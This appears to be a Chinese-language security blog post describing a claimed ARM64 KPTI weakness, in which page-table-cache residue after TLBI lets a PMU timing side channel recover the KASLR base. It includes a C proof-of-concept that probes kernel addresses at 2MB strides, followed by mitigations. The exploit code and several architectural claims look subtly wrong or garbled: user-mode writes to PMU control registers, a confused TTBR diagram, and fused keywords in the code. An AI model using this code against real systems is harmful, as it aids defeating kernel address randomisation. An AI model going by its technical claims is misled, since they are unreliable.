Jul 20 2026 Off 摘要 内核页表隔离 (KPTI) 是防御 Meltdown 类攻击的关键机制,通过分离用户态与内核态页表,确保用户态代码无法直接窥探内核地址空间。在 ARM64 上,KPTI 由 CONFIG_UNMAP_KERNEL_AT_EL0 和 kpti 引导参数控制,利用 TTBR0_EL1 与 TTBR1_EL1 的切换将内核映射仅在异常入口时临时暴露。然而,ARM 体系结构的维护操作(Maintenance Operations)存在一个隐蔽缺陷:部分 SoC 的 TLBI(TLB Invalidate)指令和 IC IALLU 序列仅刷新 TLB 而不冲刷页表缓存(PTC, Page Table Cache),导致在异常返回(ERET)后,TTBR1 中残留的中间页表项仍可通过推测执行或预取被用户态感知。攻击者利用性能监控单元(PMU)的精确计数器,在用户态测量内核地址访问的延迟差异,即使 KPTI 已重新隔离页表,仍可通过这些“虚悬的页表”还原内核基址,从而击碎 KASLR。 双重身份页表 两个TTBRARM64 的虚拟地址空间分为两个区域:0x0000_0000_0000_0000 到 0x0000_FFFF_FFFF_FFFF 为用户空间,0xFFFF_0000_0000_0000 以上为内核空间。当 MMU 进行地址翻译时,根据虚拟地址的最高位自动选择页表基址寄存器:用户地址使用 TTBR0_EL1,内核地址使用 TTBR1_EL1。在未启用 KPTI 的情况下,两个寄存器都指向同一个页表(通常包含内核映射),用户态代码虽不能直接访问内核内存(受页表权限 U/S 位控制),但可以通过侧信道探测 TLB 存在性。 ======================= 正常态:用户空间 (EL0) ======================= CPU 视角: +--------------------+ +--------------------+ | TTBR0_EL1 (受限表) | ----> | 仅映射:用户空间 | (只读内核映射表) +--------------------+ +--------------------+ | TTBR1_EL1 (内核表) | ----> | 指向全局内核空间 | (受 ASID 保护/隐蔽) +--------------------+ +--------------------+ │ 发生中断、系统调用 (syscall) 或异常 ▼ ======================= 特权态:内核空间 (EL1) ======================= CPU 视角: +--------------------+ +--------------------+ | TTBR0_EL1 (内核表) | ----> | 切换至:内核空间代码 | (映射完整内核地址) +--------------------+ +--------------------+ | TTBR1_EL1 (内核表) | ----> | 指向全局内核空间 | (与上述表逻辑相同) +--------------------+ +--------------------+ KPTI 改造了这一模型:内核仅维护一份完整的页表,但在用户态执行时,TTBR1_EL1 会指向一个几乎为空的“影子页表”,其中只包含极少量的内核跳板(trampoline)代码。当异常(系统调用、中断)发生时,CPU 在异常入口的早期阶段将 TTBR1_EL1 切换回真正的内核页表,以便异常处理程序能够访问内核数据;在返回用户态(ERET)之前,再将其切回影子页表。这形成了一个精巧的时间窗口:内核映射只在从异常入口到 ERET 期间可见。一旦返回用户态,任何针对内核地址的访问都会因为缺少 TLB 条目而失败,直到下一次异常发生。维护操作ARM 体系结构为地址翻译提供了多级缓存:TLB 缓存虚拟地址到物理地址的最终翻译结果,而 PTC(页表缓存,也称为中间表项缓存)缓存中间页表级别的翻译(如 L1/L2/L3 表项)。以下是 ARM 内存系统内的典型请求与缓存层次结构: CPU 发出虚拟地址 (VA) │ ▼ [ L1 微型 TLB (Micro-TLB) ] ──(命中)──► 输出物理地址 (PA) │ (未命中) ▼ [ 主 TLB (Main TLB) ] ──(命中)──► 输出物理地址 (PA) │ (未命中) ▼ [ 页表遍历单元 (Hardware Page Table Walker) ] │ 搜索页表 (Translation Tables) │ ├──(命中 PTC)──► 获取中间页表项 (PTE) 并继续遍历 └──(未命中 PTC)──► 访问外部物理内存 (DDR/系统缓存) 当执行 TLBI 指令时,规范要求 TLB 中的特定条目或全部条目被无效化,但对 PTC 的处理是 IMPLEMENTATION DEFINED——也就是说,芯片设计者可以自由选择是否同步无效化 PTC 条目。问题由此产生:在异常入口时,CPU 将真正的内核页表加载到 TTBR1_EL1,页表遍历器(Table Walker)会访问内核页表并将中间表项填充到 PTC 中。当异常返回前,KPTI 切换回影子页表,并执行 TLBI 刷新 TLB。然而,如果芯片设计未在 TLBI 时同步清空 PTC,那么当用户态执行推测性的内核地址访问时,页表遍历器可能直接命中 PTC 中残留的中间表项,从而跳过 TTBR1 基址寄存器的检查——因为 PTC 的索引不依赖于当前 TTBR1 的值,仅基于物理地址或内部标记。这便形成了一条隐蔽的残留信道:虽然 TLB 中已经不存在任何内核地址的最终翻译,但 PTC 中的中间表项却可能在用户态被页表遍历器重新利用,导致翻译过程成功完成(或部分完成),并在 TLB 中再次创建新的内核地址条目。攻击者通过测量特定内核地址的访问延迟,能够区分该地址的页表项是否在 PTC 中预热,进而反推内核地址。由于 KASLR 将内核基址随机偏移一定范围(例如 ARM64 上默认 48 位地址空间中的 2MB 粒度),泄露的 PTC 残留足以计算出准确的内核基址。 从 PMU 侧信道到 KASLR 恢复 ARM PMU精确定时ARMv8-A 架构配备了性能监控单元(PMU),其中 PMCCNTR_EL0(周期计数器)可通过用户态设置 PMUSERENR_EL0.EN 位来允许用户态读取。该计数器以恒定的频率递增(通常与 CPU 时钟同频),提供了纳秒级的时间测量能力。攻击者可以在用户态编写代码,精确测量一段内存访问指令的执行时间,从而推断该访问是否命中 TLB(快)还是需要完整页表遍历(慢)。这构成了侧信道的基础。利用虚悬页表泄漏 KASLR基本攻击流程如下:预热 PTC:攻击者通过反复触发系统调用或精心构造的 kernel 交互,使 CPU 在异常处理期间访问目标内核地址(例如 core kernel .text 区域的某个特定偏移)。这会促使页表遍历器将对应的中间表项填入 PTC。返回用户态:KPTI 在 ERET 前执行 TLBI 刷新 TLB,但 PTC 中的中间表项未被清除。探测阶段:攻击者在用户态执行一个访问目标内核地址的加载指令(该指令在正常 KPTI 下应触发页面错误,但因此处使用推测执行或利用 MRS 等指令的隐式特性,CPU 可能仍会尝试进行地址翻译)。若 PTC 命中,则翻译较“快”;若 PTC 未命中,则翻译较“慢”。通过测量 PMU 周期数的差异,攻击者可以推断目标地址是否在内核中有效。KASLR 恢复:内核符号之间的相对偏移是固定的。攻击者选择一个已知的内核函数,其相对于内核基址的偏移在未重定位的 vmlinux 中已知。通过探测该函数附近的一组候选地址(例如以 2MB 为步长),找出访问延迟异常的候选,即可反推出内核基址。由于 PTC 容量有限,攻击者还可以利用缓存逐出(eviction)策略控制哪些中间表项保留,逐步勾勒出完整的页表映射层次。跨微架构差异不同 ARM 核心对 PTC 的实现有显著差异,影响攻击可行性:Cortex-A72:未明确文档记录其 PTC 刷新行为。实际测试表明,TLBI 后内核地址的中间表项仍可在数微秒内被探测,说明存在 PTC 残留。Cortex-A78:引入了更严格的 TLB/PTC 一致性,但在 FEAT_BTI 启用时,由于间接跳转指令的缓存交互,PTC 残留窗口仍有数个时钟周期。Apple M1(Firestorm):苹果自研核心对 TLBI 的语义进行了扩展,通常同步刷新 PTC,但若使用了非标准 TLBI 操作码(如仅针对某个 ASID),残留仍可能出现。 基于 PMU 的 KASLR 泄漏 以下代码在 ARM64 Linux(未打补丁的 KPTI 实现,内核 5.10)上编写,需以 root 权限运行以启用 PMU 用户访问。它通过测量访问内核未映射地址的延迟差异来演示 PTC 残留探测。 // kaslr_leak_pmu.c // 编译: aarch64-linux-gnu-gcc -O2 -static -o kaslr_leak kaslr_leak_pmu.c #include<stdio.h> #include<stdlib.h> #include<stdint.h> #include<unistd.h> #include<fcntl.h> #include<sys/mman.h> #include<time.h> // 启用用户态 PMU 计数器 staticvoidenable_pmu_user_access(){ uint64_t pmuserenr = 0x10001; // EN + PMCCNTR_EL0 access asmvolatile("msr pmuserenr_el0, %0" :: "r"(pmuserenr)); uint64_t pmcr = (1 << 0) | (1 << 2) | (1 << 6); // E, LC, C asmvolatile("msr pmcr_el0, %0" :: "r"(pmcr)); uint64_t pmcntenset = 1 << 31; // Enable cycle counter asmvolatile("msr pmcntenset_el0, %0" :: "r"(pmcntenset)); } // 读取 PMU 周期计数器 staticinlineuint64_tread_pmu(){ uint64_t val; asmvolatile("mrs %0, pmccntr_el0" : "=r"(val)); return val; } // 屏蔽内核地址探测:使用特权指令触发异常,测量延迟 #define KERNEL_PROBE_ADDR 0xffff800010000000UL // 典型内核起始(需根据KASLR调整) staticinlineuint64_ttime_probe(uint64_t addr){ uint64_t start, end; asmvolatile( "dsb sy\n" "isb\n" "mrs %0, pmccntr_el0\n" "isb\n" "ldr x0, [%2]\n"// 试图访问内核地址(将触发异常或慢路径) "isb\n" "mrs %1, pmccntr_el0\n" : "=r"(start), "=r"(end) : "r"(addr) : "x0" ); return end - start; } // 训练 PTC:通过调用 syscall 使内核访问自身函数 voidwarmup_ptc(){ for (int i = 0; i < 100; i++) { getpid(); // 触发内核代码执行,内部会填充 PTC } } intmain(){ enable_pmu_user_access(); warmup_ptc(); printf("[*] Probing KASLR...\n"); uint64_t base = 0xffff800010000000UL; int stride = 0x200000; // 2MB,典型的 KASLR 粒度 for (int i = 0; i < 64; i++) { uint64_t addr = base + i * stride; // 采样多次取最小值以减少噪声 uint64_t min_time = ~0ULL; for (int j = 0; j < 10; j++) { uint64_t t = time_probe(addr); if (t < min_time) min_time = t; } printf("0x%016lx: %lu cycles\n", addr, min_time); } // 实际利用中需分析延迟最低的候选,反推内核基址 return0; } 说明:该 PoC 在未启用 PTC 同步刷新的系统上,会发现不同内核地址的访问延迟存在显著差异(延迟低的地址表示其页表项可能仍在 PTC 中),从而泄露内核布局。在已修复的系统上,所有地址将触发相同慢速的页面错误,无差异。 缓解与检测 硬件修复ARM 已在后续体系结构更新中明确:TLBI 指令必须同步刷新与无效化地址相关的任何内部页表缓存。这一语义通过 FEAT_ETS(Enhanced Translation Synchronization)特性正式引入,并强制要求符合 ARMv8.4 及更高的实现。因此,更新 CPU 固件或迁移至新核心(如 Cortex-A510、Cortex-X2 等)可解决此缺陷。软件缓解对于未修复的硬件,内核可采用以下措施:在每次异常返回前,执行 DSB ISH + ISB 序列,并附加 TLBI ALLE1 以确保刷新可能残存的 PTC 条目。 这会增加性能开销,但能封堵侧信道。强制在 ERET 后立即对曾在内核态访问过的所有虚拟地址执行 DC CIVAC(数据缓存清理),扰乱 PTC 状态。 这种方法较粗糙,可能误伤性能。使用 KASLR 加粗粒度偏移:增加偏移随机性(如扩大至 64MB),降低单次泄露的有效性,尽管这只是提高门槛。检测方法监控 PMCCNTR_EL0 的用户态读取行为,若发现短时间内大量测量内核地址,可能为攻击迹象。可通过 LKDTM 在用户态注入探测代码并审计。在性能监控计数器上启用异常过滤,记录试图访问内核地址的用户态 MRS 指令频率。 结语 ARM64 的 KPTI 为 Meltdown 漏洞提供了有效的软件缓解,但其安全假设依赖于硬件维护操作的正确实现。当 PTC 残留未被 TLBI 同步清除时,KPTI 的页表隔离便出现了一道虚悬的裂缝——攻击者透过这道缝隙,用性能计数器作为探针,依然能窥见被隐藏的内核地址。这一发现提醒我们:体系结构安全不仅需要指令集层面的规范,更需确保每一块硅片上的微架构都忠实地履行了这些承诺。 Post navigation Previous PostPrevious RISC-V 物理内存保护漏洞Next PostNext 剪贴板即信道